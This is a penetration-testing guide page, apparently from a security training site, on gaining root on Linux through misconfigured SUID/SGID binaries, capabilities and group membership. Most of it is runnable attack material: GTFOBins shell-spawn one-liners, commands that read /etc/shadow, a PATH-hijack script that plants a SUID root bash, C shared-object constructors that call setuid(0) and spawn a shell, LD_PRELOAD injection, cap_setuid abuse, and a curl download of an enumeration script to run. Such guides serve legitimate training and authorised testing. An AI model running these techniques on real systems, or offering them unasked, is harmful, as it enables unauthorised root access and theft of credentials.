# SUID and SGID Binary Privilege Escalation

> Exploit misconfigured SUID/SGID binaries on Linux to escalate privileges by abusing executables that run with elevated owner or group permissions.

- **URL:** https://hackindex.io/platforms/linux/privilege-escalation/suid-binary-privilege-escalation
- **Path:** Linux > Privilege Escalation
- **Up:** [Privilege Escalation](https://hackindex.io/platforms/linux/privilege-escalation.md)
- **Published:** 2026-02-13
- **Updated:** 2026-07-10

SUID binaries execute as their owner (usually root) regardless of who runs them. SGID binaries execute with their group's privileges. A misconfigured, custom, or GTFOBins-listed binary with these bits set is often a direct path to root. Unknown custom binaries require analysis before exploitation.

## Prerequisites Check

Confirm you have a shell and can execute binaries:

```bash
id
uname -a
```

Note your username, groups, and kernel version. Groups matter for SGID abuse: see [https://hackindex.io/platforms/linux/privilege-escalation/group-based-privilege-escalation](https://hackindex.io/platforms/linux/privilege-escalation/group-based-privilege-escalation) for group-specific escalation paths.

## Find SUID Privilege Escalation Vectors on Linux

Use precise permission flags: `-perm -4000` is legacy and can miss edge cases:

```bash
# SUID
find / -type f -perm -u=s 2>/dev/null

# SGID
find / -type f -perm -g=s 2>/dev/null

# Both with details
find / \( -perm -u=s -o -perm -g=s \) -type f 2>/dev/null | xargs ls -la 2>/dev/null
```

Filter to non-standard paths immediately: standard system binaries like `passwd`, `sudo`, and `ping` are expected. Anything in `/opt`, `/usr/local/bin`, `/home`, or custom application directories warrants investigation:

```bash
find / \( -perm -u=s -o -perm -g=s \) -type f 2>/dev/null | grep -v -E "^/(usr/bin|usr/sbin|bin|sbin)/"
```

Check binary type: scripts with SUID set behave differently from ELF binaries:

```bash
find / -perm -u=s -type f 2>/dev/null | xargs file 2>/dev/null
```

Check for modified system binaries: if a standard binary has SUID but was tampered with:

```bash
dpkg -V $(dpkg -S /path/to/binary 2>/dev/null | cut -d: -f1) 2>/dev/null
```

## GTFOBins: Known Binaries

If the binary appears on [https://gtfobins.github.io/](https://gtfobins.github.io/), follow its SUID exploitation method directly.

Common high-impact patterns:

**Shell spawn**: `find`, `vim`, `awk`, `perl`, `python`, `nmap` (older versions):

```bash
# find
find . -exec /bin/bash -p \;

# vim
vim -c ':!/bin/bash -p'

# awk
awk 'BEGIN {system("/bin/bash -p")}'

# perl
perl -e 'exec "/bin/bash -p"'

# python
python -c 'import os; os.execl("/bin/bash", "bash", "-p")'

# nmap (interactive mode, 2.02 to 5.21)
nmap --interactive
nmap> !sh
```

**File read**: `cp`, `tar`, `dd`, `cat` with SUID:

```bash
# dd: read /etc/shadow
dd if=/etc/shadow 2>/dev/null

# tar: extract to read
tar xf /etc/shadow -I '/bin/sh -p -c "cat 1>&2"' 2>&1
```

Always verify the exact binary version: GTFOBins techniques are version-sensitive.

## Auto-Check with SUID3NUM

SUID3NUM automates discovery and GTFOBins matching:

```bash
curl -sL https://raw.githubusercontent.com/Anon-Exploiter/SUID3NUM/master/suid3num.py -o /tmp/suid3num.py
python3 /tmp/suid3num.py
```

Output separates default system binaries (safe, ignore) from custom binaries (investigate) and lists matching GTFOBins exploitation commands.

Do not use `-e`: the auto-exploit flag modifies the system and is not permitted on OSCP.

## Unknown Custom Binary: Analysis Workflow

This is the most common real scenario. You found a custom SUID binary with an unfamiliar name. Work through this in order:

**Step 1: Quick strings triage:**

```bash
strings /path/to/binary | grep -iE "system|exec|popen|PATH|chmod|bash|sh"
```

Look for unsafe function calls and unqualified command names. If you see `system("backup")` without a full path, PATH hijacking is likely viable.

**Step 2: Check linked libraries:**

```bash
ldd /path/to/binary
```

Note any missing libraries (`not found`): these are shared object injection targets. Note writable library paths.

**Step 3: Check RPATH/RUNPATH:**

```bash
readelf -d /path/to/binary | grep -iE "rpath|runpath"
```

If RPATH includes a writable directory, shared library injection is viable regardless of LD_PRELOAD restrictions.

**Step 4: Run with strace to see syscalls:**

```bash
strace -f /path/to/binary 2>&1 | grep -E "execve|open|access"
```

This shows exactly what files and binaries it tries to execute, including missing ones.

**Step 5: Run with ltrace to see library calls:**

```bash
ltrace /path/to/binary 2>&1 | head -50
```

Shows `system()`, `popen()`, and other dangerous calls with their arguments.

## PATH Hijacking via SUID Binary

Applies when a SUID binary calls commands without absolute paths.

Confirm the binary uses an unqualified command (from strings/strace analysis above), then:

```bash
# Create malicious binary in /tmp
echo '#!/bin/sh' > /tmp/backup
echo 'cp /bin/bash /tmp/.rootbash; chmod u+s /tmp/.rootbash' >> /tmp/backup
chmod +x /tmp/backup

# Prepend /tmp to PATH and execute
export PATH=/tmp:$PATH
/path/to/suid-binary

# Use the SUID bash
/tmp/.rootbash -p
```

This works only if the binary does not reset PATH internally. Verify with strace first.

For a full standalone guide on PATH hijacking see [https://hackindex.io/platforms/linux/privilege-escalation/writable-path-hijacking](https://hackindex.io/platforms/linux/privilege-escalation/writable-path-hijacking).

## Shared Object Injection

Applies when `ldd` shows a missing library or RPATH points to a writable directory.

**Missing library injection:**

```bash
# Confirm the missing library
ldd /path/to/binary 2>&1 | grep "not found"

# Find where it looks for libraries
strace /path/to/binary 2>&1 | grep "open.*\.so"
```

**/tmp/inject.c**

```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void __attribute__((constructor)) init() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
}
```

```bash
gcc -shared -fPIC -nostartfiles -o /tmp/libmissing.so /tmp/inject.c
```

Place the `.so` in the directory the binary searches (identified from strace output) and re-run the SUID binary.

**RPATH writable directory injection:**

```bash
# Confirm RPATH
readelf -d /path/to/binary | grep -i rpath
# e.g. RPATH = /opt/app/lib

# Check if writable
ls -ld /opt/app/lib

# If writable, place your .so there with the expected library name
cp /tmp/inject.so /opt/app/lib/libexpected.so.1
/path/to/suid-binary
```

## LD_PRELOAD via SUID (Rare)

Standard SUID binaries ignore `LD_PRELOAD` for security. This only applies to custom or legacy programs that do not drop privileges before `dlopen()`:

**/tmp/preload.c**

```c
#include <stdlib.h>
#include <unistd.h>

void __attribute__((constructor)) init() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
}
```

```bash
gcc -shared -fPIC -o /tmp/preload.so /tmp/preload.c
LD_PRELOAD=/tmp/preload.so /path/to/vulnerable-suid
```

For LD_PRELOAD abuse via sudo `env_keep`, see [https://hackindex.io/platforms/linux/privilege-escalation/ld-preload-environment-hijacking](https://hackindex.io/platforms/linux/privilege-escalation/ld-preload-environment-hijacking).

## Capabilities: SUID-Like Grants

Capabilities grant fine-grained privileges without the full SUID bit. Check for them separately:

```bash
getcap -r / 2>/dev/null
```

High-impact capabilities:

- `cap_setuid+ep`: set UID to 0, immediate root
- `cap_dac_read_search+ep`: read any file, bypass DAC
- `cap_sys_ptrace+ep`: attach to any process, inject shellcode
- `cap_net_raw+ep`: raw socket access, sniff traffic

Exploit `cap_setuid` on Python:

```bash
/path/to/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
```

Exploit `cap_dac_read_search` on `tar`:

```bash
/path/to/tar -xf /dev/null -I '/bin/sh -p -c "cat /etc/shadow 1>&2"' 2>&1
```

For a full capabilities page see [https://hackindex.io/platforms/linux/privilege-escalation/capabilities-abuse](https://hackindex.io/platforms/linux/privilege-escalation/capabilities-abuse).

## SGID Binaries and Group Access

SGID binaries run with the permissions of their group. If the group has elevated access:

```bash
# Check your groups
id

# Find SGID binaries matching your groups
find / -perm -g=s -type f 2>/dev/null | xargs ls -la 2>/dev/null
```

Notable SGID targets:

- Group `shadow`: read `/etc/shadow`
- Group `docker`: full Docker socket access
- Group `disk`: raw disk read/write
- Group `adm`: system log access

See [https://hackindex.io/platforms/linux/privilege-escalation/group-based-privilege-escalation](https://hackindex.io/platforms/linux/privilege-escalation/group-based-privilege-escalation) for exploitation of each group.

## AppArmor: Check Before Exploiting

AppArmor can block SUID exploitation silently. Verify before wasting time:

```bash
cat /proc/$$/attr/current
```

- `unconfined`: no restrictions, proceed
- `complain`: logged but not blocked, proceed
- `/usr/bin/binary (enforce)`: blocked per profile, read the policy

```bash
cat /etc/apparmor.d/usr.bin.binary
```

Look for `deny` rules targeting the path you plan to exploit.

Related

## References

- [GTFOBins](https://gtfobins.github.io) - SUID exploitation patterns
- [SUID3NUM GitHub](https://github.com/Anon-Exploiter/SUID3NUM) - Auto SUID enumeration and GTFOBins matching
- [AppArmor manual](https://man.freebsd.org/cgi/man.cgi?query=apparmor&sektion=7&manpath=Debian+9.13.0) - Profile enforcement behavior
- [GTFOBins](https://gtfobins.github.io) - SUID and capability exploitation patterns for hundreds of binaries.
